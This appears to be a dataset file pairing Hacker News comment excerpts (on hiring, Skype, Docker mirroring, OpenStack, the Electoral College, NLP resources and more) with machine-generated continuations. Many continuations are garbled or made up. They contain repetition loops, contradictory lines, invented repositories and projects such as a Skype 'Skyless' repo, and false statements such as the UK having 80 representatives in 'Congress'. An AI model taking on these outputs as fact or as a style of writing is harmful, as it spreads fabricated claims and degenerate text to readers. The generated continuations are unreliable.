[http://www.kalzumeus.com/2014/01/28/dont-call-your-\nselfa-pr...](http://www.kalzumeus.com/2014/01/28/dont-call-your-selfa-\nprogrammer/)\n\n[2]: [http://www.kalzumeus.com/2014/01/28/salary-negotiation/](http://", "input_text": "?\n\n------\ndylangs1030\nI'm a bit late to this, but I'll give you my experience. It echoes what others\nhave said to some extent.\n\nIn every instance I've applied for a job, it began with my casually (but\nassertively) stating interest. Here is the process I go through (you could\ncall it my job hunting \"workflow\"):\n\n1\\. I read about an interesting company or meet/talk to someone with\nconnections to an interesting company.\n\n2\\. I learn what I can about them, researching for a few hours, deciding if\nI'd enjoy it (on a cursory level).\n\n3\\. I contact people with _decision making ability_ and politely but\nassertively state my interest. Note - I don't send a resume (you can, I\ndon't).\n\n4\\. Most cases, I've gotten through an entire hiring process without being\nasked for a resume. If they happen to ask, it generally suffices to show them\nmy portfolio of prior work. This is in fact as simple as linking the list of\nprojects I've authored on my blog with corresponding code.\n\n5\\. Technical interview(s). Negotiation. Wrap up. Bam, you're done.\n\nI highly, _highly_ suggest you read patio11's \"Don't Call Yourself a\nProgrammer\"[1] and \"Salary Negotiation\"[2]. No, really, read both. Absorb\nevery kernel of knowledge.\n\nThe importance of a resume is _grossly_ overestimated, as is the importance of\na transcript. Don't show a piece of paper, show the knowledge that your\neducation provided you with. Connections are important, and will field you the\nmost significant leads in finding"} +{"output_text": " second window.\n\n~~~\n_nedR\nI know, I used it. But it's not a perfect solution.\n\n------\njwilber\nI'm not sure why this is news. Skype has been pushing hard to make their\ninfrastructure more distributed and peer to peer for years. They have a\nproject called Skyless that is similar in nature.\n\n[https://github.com/SkypeWorkere/skyless](https://", "input_text": " the need for a global state. But without central server, this can only\nbe achieved with DHT, where the first two problems are even worse. Note the\nexisting DHTs are all used for long running \"sessions\" where the session is\nthe availability of a torrent. User presence is a lot more ephemeral.\n\nAnd there's the original problem for P2P apps, of course: bootstrapping. Peers\ndon't come online knowing all their other peers on the Internet. There has to\nbe a way for them to discover each other, which, without Internet-wide\nmulticast, means a central server. If you're going to have to solve this\nproblem, you might as well solve the others.\n\nThere is actually a thread on p2p-hackers mailing list about this exact issue.\nMany experienced P2P devs agreed that whenever you can get away with a\ncentralized solution, you should go for it. In this context, partially\ncentralizing Skype as they did makes complete sense.\n\n------\nvbezhenar\nAnother concern: modern HTTPS use SNI standard and those who sniff your\ntraffic, can extract the hostname from this traffic, because it's not\nencrypted yet. So DNS sniffing is not necessary, if I understand everything\ncorrectly.\n\nI would consider that as misuse of DNS. User id must be in request parameter\nor path, not in hostname.\n\n------\n_nedR\nWhile you're at it Microsoft, please also give a way for users to remotely log\nout all active sessions on other computers and devices.\n\n~~~\nmglinski\nIt's a terrible hack, but changing your Skype password via their website does\nlog you out of all active sessions within a 2-5"} +{"output_text": "------\njrochkind\nI think docker is a really great idea, but it needs to be more than just a\nreplacement for VMs.\n\nIt needs to be a way to run whatever you want, anywhere, without needing to\nrebuild it.\n\nIt needs to be a way to run whatever you want, on whatever you want's\nhardware, without needing to install anything.\n\nIt needs to be a way to run whatever you want, in", "input_text": " without explicitly pulling from Docker Hub.\n\nIn the case that you're building new images (likely), it'll need to pull the\nbase images from Docker Hub. However, if you pull the base image(s) from\nDocker Hub first, you can tag them and store them in your local (or hosted)\nregistry, then refer to those explicitly instead.\n\nFor example (using a Cloudsmith hosted registry):\n\n \n \n docker pull alpine:3.8\n docker tag alpine:3.8 docker.cloudsmith.io/your-account/your-repo/alpine:3.8\n docker push docker.cloudsmith.io/your-account/your-repo/alpine:3.8\n \n\nNow, instead of the usual FROM directive:\n\n \n \n FROM alpine:3.8\n \n\nYou can refer to your own copy of alpine:\n\n \n \n FROM docker.cloudsmith.io/your-account/your-repo/alpine:3.8\n \n\nAs you can see Docker's syntax doesn't make this extremely pleasant, and\nyou'll have to change existing Dockerfiles to point at the base images, but\nit's certainly possible to mirror your dependencies without rebuilding.\n\nCaveat: The downside is that you have to trust those dependencies at the exact\npoint you pull them down, so I concede it is still not perfect _without_\nrebuilding the lot. :-)\n\n------\nlumjjb\nAnother reason to have Encrypted Container Images :)\n[https://github.com/opencontainers/image-\nspec/issues/747](https://github.com/opencontainers/image-spec/issues/747)\n\n"} +{"output_text": " caffeine\" or \"addicted\nto sugar\".\n\n~~~\nmistercow\nI don't know why you're getting downvoted, but I think you meant \"in the\nliteral sense\" by \"addicted\".\n\n------\njokoon\nI wonder if sugar is bad for the brain. I remember reading that sugar makes\ninsulin spike, which can be bad for the brain.\n\n~~~\njokoon\nI wonder if sugar is bad for the", "input_text": "\n\"I believe that the solution to this problem is exercise, and those who would\nlike to decrease their weight should try different sport activities.\"\n\nWhat about eating healthier? That strikes me as a more effective and\nmaintainable solution.\n\n~~~\nbonesinger\nyou are absolutely right. Eating healthy is more important than exercise and\nthe two together will lead to an overall improvement in health.\n\n[http://www.sciencedaily.com/releases/2012/10/121015142405.ht...](http://www.sciencedaily.com/releases/2012/10/121015142405.htm)\n\nThough its a small sample and an extreme one at that, the contestants' diets\naccounted for approximately 65% of their weight loss.\n\n~~~\neru\n> Eating healthy is more important than exercise\n\nFor losing weight. For health in general, both seem about equally important.\n(And lots of exercise will allow you to get away with a crappy diet much\neasier.)\n\n------\nmistercow\n>Chinese people are now so addicted to sugar\n\nThis is supposed to be a list of \"facts\" but in reality, the \"sugar is\naddictive\" hypothesis is still, well, a hypothesis.\n\n>that the government is scared that there will be political unrest if the\nprice of sugar goes up\n\nIt's the _Chinese government_. \"Scared that there will be political unrest if\nX\" is their default state for any untested X.\n\n~~~\njere\n>This is supposed to be a list of \"facts\" but in reality, the \"sugar is\naddictive\" hypothesis is still, well, a hypothesis.\n\nI took addictive in the sense that we are \"addicted to"} +{"output_text": "quartet_openstack_deal_expired/)\n\n~~~\npjmlp\nWe are already there, since last year, with our own OpenStack based on\nLibvirt, Kubernetes and Ceph.\n\nWe are also evaluating the possibility of migrating to the recently released\nKubernetes based on Minikube.\n\n------\njsmith96\nI'm a devops guy at a small company and we use OpenStack for our devops\ninfrastructure. We", "input_text": "\nIBM is in a continual process of downsizing its hardware divisions in pursuit\nof higher earnings per share. It seems their big push is cloudfoundry, which\nseems to be more about containers and k8s.\n\nSo why are they bailing? I'm guessing:\n\n\\- it's way harder to hire support staff for OpenStack, than VMWare \\- AWS\nreduces capital costs and upfront investments \\- Customers on existing\nsolutions aren't prepared to take advantage of new opportunities \\- Many of\nthese companies have existing product lines they don't wish to disrupt\n\n~~~\nnul_byte\nYou missed Red Hat, who seem to be the only company having major success with\nOpenStack [1]\n\nMost of IBM, Intel, HPE etc have thrown in the towel and now offer their own\nservices on top of Red Hat OpenStack.\n\nOpenStack has now found itself beyond enterprise, and now being the de-facto\nplatform for NFV running mobile networks, and I guess Red Hat are becoming the\nwinner here as they are so used to supporting an OpenStack 'type of'\ninfrastructure for large bodies such as banking, telco, health etc. When you\nconsider Red Hat are already large well established contributors to all of the\nlayers of the OpenStack'stack' such as KVM/QEMU, libvirt, the kernel itself,\n+ overlay networking tech such as OVS, and now DPDK, you can see why they are\nwell positioned to support and run OpenStack clouds.\n\n[1]\n[https://www.theregister.co.uk/2017/03/28/red_hat_cloud_quart...](https://www.theregister.co.uk/2017/03/28/red_hat_cloud_"} +{"output_text": " a long way.\n\n------\njoe_the_user\nThe author seems to be arguing that 3D printing is going to replace the\nproduction of physical goods, but I don't see that happening.\n\nThe first 3D printers were expensive and required expensive software to\noperate. They were also finicky and required expensive specialized parts.\n\nNow that prices have fallen and the software is more accessible, the cost of\nthe printers has fallen even more and the cost", "input_text": " cheaper in many area's. People spend a lot of money on Lego and with that\nalone the market for 3D printers has a place. Not saying rip of Lego bricks\nbut that people like to play and create things and whilst Lego is targeted at\nchildren it still endures with many a adult.\n\nInitialy with the costs of a good printer that can use robust 3D ink we will\nsee your local printers embacing the new avenue and many other outlets\noffering a 3D printing service. The home consumer market will grow, costs will\ndrop but. As I said with the initial introduction of laser printers and other\nprinting types, initial they were expensive, but only got better and cheaper\nand permuated into more purchsing budgets/needs over using your local print\nshop.\n\nWith markets most people will work out the direction and then end up dooming\nit all as it does not happen as quickly as they can think about it. Markets\nare funny slow beasts that operate on various timelines and with new\ntechnology the initial market is the niche that opens the crack or not into\nlarger markets. I certainly see a larger market given the ever expanding craft\nmarket and with the same insight into how laser printers started and ended up\nat, let alone coloured printing, which was many years ago the work of a\ndedicated print shop.\n\nALso worth remembering that industry today has milling machines and flow-jet\nwhich will take a solid block of metal and turn it into your defined shape. 3D\nprinting is not metal and with that is targeting different markets and we are\na long way from the univeral replicator perception most seem to think 3D\nprinting is. That is a long way off, heck how long has it taken to get the\nperfect monitor, close but still"} +{"output_text": " to reproduce the work. But you don't own the original work itself.\n\nThe real question is whether the \"reproduction\" part of the post is \"fair\nuse\". That is, is the reproduction of the image \"transformative\", such that\nyou can claim the \"idea\" of the image without claiming the image itself?\n\nI'm not sure that I'm a big fan of the \"reproduction\" prong of fair use. It's\na lot like the \"", "input_text": " works?\n\nSurely this has come up before yet I am having trouble finding a similar case.\n\n------\nEGreg\nThis is the problem with importing PUBLIC CONTENT YOU FIND ON THE INTERNET\ninto a website. Not uploading from your computer, or importing from your own\naccount somewhere on another site. If the website actually makes a copy of the\nmedia (picture, etc.) and stores it on their servers, they should hope that\nthe DMCA still considers them a safe harbor.\n\nI think their best bet is to store the images only as a cache, and not as a\npermanent import. If the site owner decides to take down the original, then\nthe cache should disappear soon thereafter.\n\n------\ndanboarder\nPinterest is more like a visual social bookmarking service than a blog. When\npeople save bookmarks or share links on delicious or reddit or even twitter,\nof course they don't claim ownership of that content, it's just a bookmark.\nSimilarly, with Pintrest people are saving a visual bookmark of something they\nsaw that was interesting out on the web or on other social streams, tumblr,\netc. I think a lot of people are missing the point here.\n\n------\nxn\nIf posting an image with a comment is fair use, then arguably the combination\nof the image and the comment constitute the Member Content for which the\nposter is claiming ownership.\n\nIf I publish a review of a work of art, including a reproduction of the work,\nin a magazine, my copyright would cover the entire article including the\nreproduction. I wouldn't be claiming copyright on the original work.\n\n~~~\najross\nThat's pretty much how I see it too. Yes, you own the review, which includes\nthe right"} +{"output_text": " two.\n\n~~~\njiganti\nI've found that I can easily fall asleep with this on, and wake up feeling\nfine. I don't have a set wake up point, and I don't need one.\n\n------\njyap\nI ordered the alarm clock a few days ago. I am really excited about it. I am\ncurious to know if anyone has had any issues with the delivery?\n\n------\njyap\nI ordered the", "input_text": " on 25th Nov 2009, refunded\non 4th August 2010 but with a shortfall due to currency conversion differences\nso I'm basically out of pocket (admittedly only a bit) due to lack of product.\n\nAs I've said previously, I actually don't even own the phone anymore that I\nintended to use this product with. I just hope for the sake of the company\nthat this is the beginning of the end of their constant problems.\n\n------\nbennesvig\nDo you guys not have a fan page on Facebook?\n\n------\nkgutteridge\nWell done guys, shipping a hardware and a software product was never going to\nbe easy! hopefully you can now reap the rewards though of having a hardware\nproduct, thats far far harder to replicate\n\npre ordered back in April so looking forward to receiving sometime in the new\nyear I suspect, as it will be an international order.\n\n------\nbrianmwang\nFYI, the following repeats under your FAQ question \"What is an 'optimal wake\npoint?'\"\n\nAn optimal wake moment can be thought of as a \"semi-awake\" moment \u2013 the\nlightest point in your sleep. Waking at these times will result in minimal\nsleep inertia or grogginess. More info can be found here: The Science of\nWaking\n\n------\njiganti\nSounds cool! Just ordered mine. I think you guys are addressing a real problem\nhere, hopefully it works well.\n\n------\njtagen\nDoes anyone know if this can be used effectively for power naps throughout the\nday? I'd love to nap, but tend to sleep for an hour plus. If I set a\ntraditional alarm, I always feel like I'm jarred awake and a little off for\nthe next hour or"} +{"output_text": "place_back](http://en.cppreference.com/w/cpp/container/vector/emplace_back)\n\n~~~\ncliff_r\nAh, thanks.\n\n------\nmark_l_watson\nI have been using Rust for a few months and am very happy with it. I am not\nvery experienced with C++, so I don't know if the Rust compiler is better at\noptimizing or what.\n\n------\nnayuki\n", "input_text": "\nA few years ago I tried to get a reallic which did not move (instead returned\nfail) into glibc and jealloc and failed. Glad to see someone else has\nsucceeded.\n\n------\nshin_lao\nI think the Folly small vector library is much more interesting and can yield\nbetter performance (if you hit the sweet spot).\n\n[https://github.com/facebook/folly/blob/master/folly/docs/sma...](https://github.com/facebook/folly/blob/master/folly/docs/small_vector.md)\n\nFrom what I understand, using a \"rvalue-reference ready\" vector implementation\nwith a good memory allocator must work at least as good as FBVector.\n\n------\njeorgun\nApparently the libstdc++ people aren't entirely convinced by the growth factor\nclaims:\n\n[https://gcc.gnu.org/ml/libstdc++/2013-03/msg00059.html](https://gcc.gnu.org/ml/libstdc++/2013-03/msg00059.html)\n\n------\ncliff_r\nThe bit about special 'fast' handling of relocatable types should be obviated\nby r-value references and move constructors in C++11/14, right?\n\nI.e. if we want fast push_back() behavior, we can use a compiler that knows to\nconstruct the element directly inside the vector's backing store rather that\ncreating a temporary object and copying it into the vector.\n\n~~~\nmarksamman\nemplace_back was added in C++11 which does just that:\n[http://en.cppreference.com/w/cpp/container/vector/em"} +{"output_text": " the future of their kids are not\nthose who are going to be in the situation of having to live with the\nconsequences of their decision for years to come.\n\n------\njokoon\nI wonder if the people who live near nuclear plants have a different health\nprofile than the rest of the population. I mean, people who live near coal\nplants have a different health profile than the rest of the population, and\nthe same for people who live near oil refineries", "input_text": " claim radiation is not an issue.\nWhy doesn't this gentleman volunteer to assist at the plants if he thinks\nradiation is no danger at all.\n\n------\nstewbrew\nWho is \"we\"? If the the author speaks for himself, I have no objection against\nhim moving to Fukushima or buying a house close to another nuclear power\nplant. I'm sure there are people willing to sell and the price for real estate\nin those areas has most likely dropped considerably in the last few decades.\n\n~~~\nsorbus\nI wouldn't be so sure about your implication that nuclear power plants reduce\nproperty prices: \"In each of the seven regions, housing and real estate values\nhave benefited from the operations of the nuclear facilities: total property\nvalues, assessed valuations and median housing prices have often increased at\nrates above the national and state averages. In each local area, housing\nprices were several times higher than prior to the opening of the nuclear\nfacilities, and there is evidence that in Barnwell, proximity to the nuclear\nfacility may actually increase housing values.[1]\"\n\n[1] \n\n~~~\nstewbrew\nFor apparently no clear reason, nuclear power plants are often built near the\nborder. Usually people on the other side of the border usually don't profit in\nwhatever way from the power plant. The situation may be different if you live\non an island.\n\n------\nhrktb\nWhat makes me uneasy about this kind of call is that the situation at\nFukushima is ungoing, but we hear a lot of \"the levels are ridiculous _right\nnow_, what you're scarred of?\".\n\nThe people running away or worrying about"} +{"output_text": "I know I'm not.)\n\nI think the idea is to make it easier for people to make a living as\nconsultants by making it easier to raise capital. I don't think it's a\nreplacement for the word-of-mouth model. I think it's a complement.\n\nI think the idea is to make it easier for people to make a living as\nconsultants by making it easier to raise capital. I don't think it's a\n", "input_text": "my_ problem, but some of my friends were talking about it:\nsomething like Kickstarter, but for consultants. The genius of Kickstarter is\nthe \"transactional\" (in the database sense of the word, wherein a set of\noperations is packaged so that either all happen or none do) nature of the\nthing: either the money is raised, or not; and if not, it's all returned to\npledgers. If the consultant gets enough pledges/work to cover the next N\nmonths (N = 8 to 12) then they get the money and can start out as consultants.\nIf they don't, the money goes back and they continue with their day jobs.\n\nOne of the problems with consulting is that it's really hard for most people,\nwhile employed, to line up enough work that they can become consultants in the\nfirst place. Most people will never get the chance, even if they have the\ntalent, because they can't front the initial financial cost. This keeps a lot\nof people out of self-employment who would otherwise be a better fit for it.\n\nThe Kickstarter-esque idea seems strong, but the biggest problem with this\nidea is that people who have serious ($150+ per hour) work to offer generally\ndon't solicit on the Internet if they can help it. They prefer to source\nthrough word-of-mouth, which is pre-technological and broken and leads to that\nimbecilic situation where you have to be in to get in... but I don't make the\nrules.\n\nThat's why I haven't pursued it. It's one of those startups that requires\nfixing people, and any startup that goes long on human nature is facing\nextremely bad odds.\n\n~~~\npeteforde\nNot everyone should be freelancers. ("} +{"output_text": " boosters and wonder why they're so stupid.\n\n~~~\njames_s_tayler\nI think it's a good thing that the public is getting so used to seeing boost\nassist launches that it's becoming mundane.\n\nI think it's a bad thing that the public is getting so used to seeing boost\nassist launches that it's becoming mundane.\n\n~~~\nmabbo\nI think it's a good thing that the public is getting so", "input_text": ", and the voice search/navigation is really amazing. The Market has some\npretty cool apps on it too, not as many as the iPhone, but plenty.\n\n \nSpaceX Launch: Starlink 12 [video] - cjnicholls\nhttps://www.youtube.com/watch?v=_j4xR7LMCGY\n======\ncodeulike\nEveryone is commenting saying how mundane it has become to see the landings.\nHence you might enjoy this official SpaceX Blooper reel from 2017 that shows\nthe numerous spectacular failures that they worked through.\n\nInnovation is a type of gamble. People forget that.\n\n\"SpaceX: How Not to Land an Orbital Rocket Booster\"\n\n[https://www.youtube.com/watch?v=bvim4rsNHkQ](https://www.youtube.com/watch?v=bvim4rsNHkQ)\n\n(and regular reminder that these things are 12-storey high explosive tubes)\n\n~~~\nskvark\nIf the Falcon 9 landings feel mundane, I would recommend to follow Starship\ndevelopment. Starship SN6 might do a 150 meter hop later today:\n[https://www.youtube.com/watch?v=Ky5l9ZxsG9M](https://www.youtube.com/watch?v=Ky5l9ZxsG9M)\n\n------\nmabbo\nThe true beauty of SpaceX is that they've made landing their boosters boring\n(almost). This makes their competitors throwing them away seem stupid.\n\nIt also shows how clever it was to livestream so much of what they do. So many\npeople have seen a rocket booster land. Children today will hear that ULA\ndoesn't land their"} +{"output_text": "us\nI have a friend who works for a company that does \u201cpersonality profiling\u201d for\nadvertisers. It\u2019s a bit like a psych profile, but for customers. They call\npeople up on the phone and ask them a series of questions about themselves.\n\n~~~\nmikegerwitz\nSounds like a good friend.\n\n------\nmatt_wulfeck\nThis is why I quit my job and started my own company. I'm my own", "input_text": " who are just fine with that kind of work. I\ndon't understand that ethical space at all - but from what I've seen they\nsimply don't understand why anyone would have a problem with what they do.\n\n~~~\nShroudedNight\nI got this information second hand, but for what it's worth: There was a\ngraduate student at my university that was well known and highly regarded for\nhis stellar software engineering skills. At one point he took a job writing a\nmissile guidance system. His reasoning was that there were two options, either\nhe wrote the system, and could make damn sure it worked exactly to spec, or\nsomeone else would write the system, and do about as good a job as the other\ncomplex software engineering projects he had encountered. In essence: he took\nthe job to minimize collateral damage.\n\n------\nzem\ni'm surprised the article never explicitly spelt out the main point - for most\npeople, accepting a job offer is a major sunk cost, so it's a lot harder to\nquit a job even after a few months than it is to reject an offer from the\noutset. i'm pretty sure 50onred were counting on that.\n\n------\nalaskanloops\nOdd that there aren't any visitor posts on their facebook page..\n\n------\ndaheza\nMy friend works at Spokeo. If you don't know about them they are basically a\npeople search engine. He keeps asking me to work there, but I just cant get\nover the moral implications of scrapping peoples lives and putting it up for\nviewing for a price. Something about the product just scratches me wrong so I\nhaven't applied. It is really too bad as their tech seems solid and the\noffices are amazing.\n\n------\ngai"} +{"output_text": "0398)\n\n~~~\ntu7001\nI have taken this course, it's really good.\n\n------\njuskrey\nYou can start with spaCy, which is a more modern, less-buggy alternative to\nnltk.\n\n[https://spacy.io/](https://spacy.io/)\n\n~~~\ntu7001\nI have taken spaCy course, it's good.\n\n------\nkleiba\nIf you", "input_text": "-\nprocessing/)\n\n~~~\nnavyad\nDidn't know of this, highly helpful, thanks.\n\n------\nhaidrali\nKeep reading and practice with this book\n[http://www.nltk.org/book_1ed/](http://www.nltk.org/book_1ed/), when you will\ncomplete this book you will have a good understanding of NLP. Sample product\nto work on suggestion would include\n\nImplementing a classifier, For detail of it you can look at 13 chapter of\n[http://nlp.stanford.edu/IR-\nbook/pdf/irbookonlinereading.pdf](http://nlp.stanford.edu/IR-\nbook/pdf/irbookonlinereading.pdf)\n\nCover topics like Sentiment analysis, Document Summarisation etc\n\n~~~\ntu7001\nThe information retrieval book is great lecture, I'm going through this and\nimplement algorithms, learn a lot.\n\n~~~\nhaidrali\nI have implemented these two algorithms back in 2013 do check it out\n[https://github.com/wonderer007/Naive-Bayes-\nclassifier](https://github.com/wonderer007/Naive-Bayes-classifier)\n\n------\nkyrre\nno point wasting your time on nltk:\n\ncs224d (videos, lecture notes, assignments)\n\na similar course: [https://github.com/oxford-cs-\ndeepnlp-2017/lectures](https://github.com/oxford-cs-deepnlp-2017/lectures)\n\ngood paper: [https://arxiv.org/abs/1103.0398](https://arxiv.org/abs/1103."} +{"output_text": " the US\nmarket until the Lexus LS was already a popular name for a car in Japan.\n\n~~~\nams6110\nI think the reason for the alphanumeric naming was to avoid confusion with\nother makes.\n\n~~~\nams6110\nCorrection: with other Japanese makes.\n\n------\njoeblau\nThis is a great example of how naming things is so much more than just\nsomething to add some flair to your brand. It", "input_text": " alphanumeric names as the luxury cars and the\n> name-names as mass-market cars. You did this even though there are at least\n> two cars in there you\u2019ve never heard of, because I just made them up.\n\nThe tagline totally ruins the effect of this. \"How a jumble of numbers and\nletters came to convey fanciness, while cute names came to mean value.\" Kind\nof gives the game away, even if I didn't recognize any of the cars.\n\n(As it happens, I only recognize Yaris and Fiesta. I might have guessed based\non those.)\n\n~~~\nhammock\nStill wouldn't matter even if they hadn't given it away in the subheadline,\nbecause the author cherry-picked the model names to support his point.\n\n------\ntrumbitta2\nSo my Citroen C3 is a luxury car. Good to know.\n\n~~~\nhawski\nI think that it is (a surprise) an American point of view. For example the\nmost popular car in communist Poland was Fiat 126p [0].\n\n[0]\n[https://en.m.wikipedia.org/wiki/Fiat_126](https://en.m.wikipedia.org/wiki/Fiat_126)\n\n------\namyjess\nOne thing interesting is that when Lexus and Infiniti were created, the cars\nwere all models that were already being sold in Japan under regular non-\nalphanumeric names.\n\nFor example, the Lexus LS400 was sold in Japan as the Toyota Celsior, and the\nInfiniti Q45 was sold in Japan as the Nissan President.\n\nToyota didn't introduce the Lexus name and alphanumeric naming to"} +{"output_text": "~~~\nmikece\nI'm not saying that the military is ethical, I'm saying that the military\ndoesn't need to be concerned with OIT. I'm not saying that Facebook is ethical\neither, but I don't see the comparison.\n\n~~~\nNotAnEconomist\nI think you're missing my point.\n\nFacebook is a weapon of mass deception, and the effects of that deception are\nfar more destructive than the effects of a few bullets.\n", "input_text": " proposed tank design by using real time 3d graphics and order\nindependent transparency in particular to estimate armor strength against\nattacks from different directions. Originally, OIT was developed for games and\n3d data visualizations.\n\nI think that technology that can be used to protect people, especially\ncivilians, should be developed. I know that I personally draw the line at\nweapoms platforms and weapon systems. You may develop and build them with the\nbest intentions in mind (\"we're at peace and this system is only a necessary\ndeterrent\"), but recent history tells me that once these systems are built and\nsold, they will be used by someone, somewhere to shoot at other people. Even\nthe oh so pacifist Germany sells a lot of weapons and I think every type of\nweapon system sold to another country by Germany since the second world war\nhas seen some action.\n\n~~~\nNotAnEconomist\nI think you've killed less people working on literal sniper rifles for the\nmilitary than working on the addictive feed dynamics of Facebook, given the\nRohingya massacre and other social ills they've supported.\n\nI think a lot of people in tech work on really questionable projects that\ncreate huge social ills, then talk about \"Well, at least we don't build\nweapons!\" \\-- ignoring that when measuring human suffering, their unrestrained\nmanipulation and exploitation causes much more than weapons of war do, in\npractice.\n\nSo when unqualified, I tend to hear your argument as simply trying to hide the\nmessiness of what you do, rather than than it's inherently more ethical than\nbuilding weapons would be.\n\ntl;dr: I don't believe the military is less ethical, I think they're just more\nhonest about what they do.\n\n"} +{"output_text": "\nset so that the voice of the people would be heard in Congress.\n\nIn the US, the number of representatives is set at 435, which is a much lower\nnumber than that. This means that the voice of the people is not heard in\nCongress.\n\nThe number of representatives in the UK is set at 80, which is a much higher\nnumber than the US. This means that the voice of the people is heard in\nCongress.\n\nThe number of representatives", "input_text": " do care about terminal UIs, this isn 't a realistic\n> solution._\n\nRight, but I was never suggesting people don't care about terminal UIs nor\nthat shells don't offer a valuable function. In fact the opposite is true:\nI've written my own shell because I thought I could create a better UI/UX than\nBash.\n\n------\nbeaker52\nThis explains why I've seen % when the prompt has been missing for whatever\nreason.\n\n------\nChristianBundy\nI learned a new thing today, thanks for posting this!\n\n \nThe Case for Dumping the Electoral College - car\nhttps://www.newyorker.com/magazine/2020/09/21/the-case-for-dumping-the-electoral-college\n======\ncompycom\nOne half solution that people don't tend to bring up: massively increase the\nnumber of members of congress. The formula for a states representation in the\nelectoral college is {number of senators + number of representatives}.\n\nSince the senate is fixed at 2 senators per state, it massively advantages\nsmall states in terms of political power per person. The number of\nrepresentatives per state is currently set at 435, and is allocated\nproportionately to population. This number is arbitrary, and can be changed by\nan act of congress. Increasing it will dilute the power of the electors from\nthe Senate.\n\nThere's also compelling reason to increase the number of for its own sake: the\nnumber of people per representative is higher now than it has ever been. And\nit's much higher than other Western democracies.\n\nWhen the Constitution was written, the number of representatives was set so\nthere'd be one for every 30,000 people. The idea was that the number would be"} +{"output_text": " have CCTV and CCTV tie-ins, they can identify who you are, where you are,\nwhat you are saying, what you are thinking.\n\n4) Google CCTV tie-ins are so good that they can identify people by their\nvoices. They can identify people by their gait, their limb length, their\nposture, their breathing, their muscle tension. They can identify people by\ntheir facial expressions. They can identify people by their emotions. They can", "input_text": " hoard is in\nthe public interest and must be made publicly available. Anyone can now search\nall that stuff about you, all your emails, their contents. Have you ever\nwanted a stalker? Have any jealous friends? Is there nothing you would like to\nforget? Think employer-employee profiling, discrimination and bullying can't\nget much worse?\n\n3) Nobody emerges as a Google sized competitor. Google becomes the de-facto\nchoice for advanced image, video, audio processing. Google announces Google\nCCTV - desirable for companies because of the unlimited storage, web\naccessibility and tremendous analysis capability. Voices are transcribed,\npeople are tracked, identified by sight, motion, limb length, gait... Soon all\ncompanies use GCCTV. Soon local councils do. Soon dflock can be tracked across\nsystems. Google acquires eyes all over the country. Google starts population-\nscale experiments in secret. Can they predict where you will be? Can they, by\ndint of showing you different adverts, search results, articles with different\nslants _influnece_ where you will be? Which stores you shop in? Who you phone?\nWhich way you vote?\n\n3.1) Voice control hasn't really got much further. Microsoft, Dragon Dictate,\nApple, they're all roughly as good as they were. Google has been quietly\ntraining on youtube videos, GrandCentral phonecalls, GTalk calls, google\nmobile search. Theirs is much better. Any device from your satnav or car\nstereo to your TV or Kindle has Google Voice tie-in. Everyone loves it because\nyou can talk in whole sentences and say things like \"remind me to watch XYZ on\nchannel 123 on Sunday\" and it does. Google offer this for free because now\nthey"} +{"output_text": " demo:\n\n[https://www.youtube.com/watch?v=9XgkKkxkx7g](https://www.youtube.com/watch?v=9XgkKkxkx7g)\n\n~~~\npjc50\nThe wobbly-wobbly cone is a stereoscopic effect.\n\n[https://www.youtube.com/watch?v=9XgkKkxkx", "input_text": " one is fun to watch on a 3D display. (As much of it is black & white,\nanaglyph should also be worth a shot.)\n\nMost of the effects could have plausibly been rasterised or blitted into a\nflat plane; alternatively, all of it could be done in a pixel shader which\njust colours in two triangles that fill the screen. But (as I discovered to my\ndelight one day when I happened to have access to a Windows machine with a 3D\nmonitor) it's all 3D geometry with a perspective projection.\n\nFor example, the wibbly-wobbly cone[0], viewed in 2D, could just as well be a\nflat bunch of sinusoidally gyrating discs all XORed together. But these discs\nare properly stacked along the Z axis.\n\nThe demo doesn't natively support stereo displays, so you have to find a tool\nthat can inject itself into the graphics pipeline and modify the projection\nmatrix for each eye. I don't remember which one I used when I tried that, but\nit had a nifty feature you should seek out: Hotkeys that let you adjust the\nmapping of depth to the stereoscopic shenanigans (separation and convergence)\non the fly. Being able to make such tweaks on a scene-by-scene basis helps a\nlot with a production that was only designed for cyclops mode originally.\n\nThe same technique can be applied to many PC demos, but usually it only\namplifies a 3D effect that was already there in the first place. In the case\nof Intrinsic Gravity, it gives you an extra dimension of'_whoa_ '.\n\nBonus recommendation for those who can't be bothered with any of that and just\nwant to watch a neat"} +{"output_text": " back.\n\n~~~\nftse\nI'm not questioning the existence of the spark, I'm questioning the spark of\nthe spark.\n\n------\njfoutz\nI'm not sure I understand the purpose of this. I'm not seeing any value in\nseeing the evolution of an essay.\n\n~~~\njfoutz\nI mean, I get the idea. But I don't see the point.\n\nI mean, I get the idea of seeing", "input_text": "k the significance of his choice to remove them. It occurs\nto me a person could do some sort of git style display. Anything that's over 5\nseconds old is revision 1, and if you edit that later, you see the old crossed\nout, and the new highlighted. (this would be a mode that could be turned\non/off as desired, as it could be distracting) Such a mode would allow a\nwindow into the thought processes of the writer, both for the voyeurs, and for\nthe writer himself.\n\n------\nvaksel\nI wouldn't mind seeing ehterpad work in real time...just to see how much time\nit takes him to come up with the stuff/changes\n\n~~~\nrugoso\nagree, if you've got this far, why not show it real time, as an option maybe\n\n------\ncsomar\nThis can give you an idea how essays are written by famous writers!\n\n------\nXichekolas\nSo now I'm curious PG, what's your Ronco number?\n\n~~~\npg\n1\\. Ron has invested in several YC-funded startups.\n\n------\nomarchowdhury\n[web 2.0 derivative mindset]\n\nWe could have a new site just dedicated to PG etherpad submissions!\n\n[/web 2.0 derivative mindset]\n\n------\nftse\nFascinating. However, don't think you are seeing the complete creation of an\nessay from its spark to completion. The first sentence appears (to me at\nleast) considered and calculated. I'm sure much more thought has gone into the\nessay than the animation would suggest.\n\n~~~\npg\nI start when I think of the first sentence. After that, as you can see, it's\ntwo steps forward and one"} +{"output_text": ") I'll open a new\nissue to discuss further.\n\n------\njrochkind1\nI'm not sure I understand the purpose of this.\n\nIt looks like it's just a git repository manager, with some features that\nmight be useful for some projects, but it doesn't sound like it adds much over\ngit itself.\n\nIt looks like it's just a more complicated interface to git, which is already\na complicated interface to git.\n\nIt", "input_text": " made it so I had to guess where the setting I want is.\n\n* Why are there two nearly identical pages for showing repository contents? (One at the top level of a project, which is any project's landing page, and another on its \"repository\" tab, which is the same view missing a few elements)\n\n* Releases and their artifacts are buried behind \"tags\" (which they technically are in Git parlance, but still) or a very easy to overlook CI status badge on the last commit shown on the landing page. Releases can only be created with API calls or manually through the new tag page, rather than programmatically or as part of a CI job. (Yes, I know, the CI job could technically call the API. You get a cookie. Point is, it feels rather buried.)\n\n* Build artifacts can only be downloaded in a zip bundle, rather than individually\n\n* I haven't figured out how to turn off the \"Do you 